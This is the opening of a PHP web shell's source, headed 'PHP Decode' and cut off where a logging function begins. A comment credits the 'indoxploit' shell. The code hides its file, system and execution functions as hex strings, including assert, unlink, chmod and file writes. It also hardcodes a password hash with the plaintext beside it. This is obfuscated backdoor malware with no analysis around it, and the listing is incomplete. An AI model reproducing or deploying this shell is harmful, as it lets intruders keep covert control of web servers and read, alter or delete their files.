PHP Decode

<?php header("X-XSS-Protection: 0"); 
ob_start(); 
set_time_limit(0); 
error_reporting(-1); 
ini_set('display_errors', true); 
session_start(); 
$Array = [ 
    '7068705f756e616d65', 
    '70687076657273696f6e', 
    '6368646972', 
    '676574637764', 
    '707265675f73706c6974', 
    '636f7079', 
    '66696c655f6765745f636f6e74656e7473', 
    '6261736536345f6465636f6465', 
    '69735f646972', 
    '6f625f656e645f636c65616e28293b', 
    '756e6c696e6b', 
    '6d6b646972', 
    '63686d6f64', 
    '7363616e646972', 
    '7374725f7265706c616365', 
    '68746d6c7370656369616c6368617273', 
    '7661725f64756d70', 
    '666f70656e', 
    '667772697465', 
    '66636c6f7365', 
    '64617465', 
    '66696c656d74696d65', 
    '737562737472', 
    '737072696e7466', 
    '66696c657065726d73', 
    '746f756368', 
    '66696c655f657869737473', 
    '72656e616d65', 
    '69735f6172726179', 
    '69735f6f626a656374', 
    '737472706f73', 
    '69735f7772697461626c65', 
    '69735f7265616461626c65', 
    '737472746f74696d65', 
    '66696c6573697a65', 
    '726d646972', 
    '6f625f6765745f636c65616e', 
    '7265616466696c65', 
    '617373657274', 
    '656d707479', 
    '6973736574', 
    '6d6435' 
]; 
$___ = count($Array); 
for ($i = 0; $i < $___; $i++) { 
    $GNJ[] = uhex($Array[$i]); 
} 
$password = "b5efbb1a41d02cc039bc519a9275fa5c"; # md5: ckt3th 
function print_log() 
{ 
    // from indoxploit shell 
?>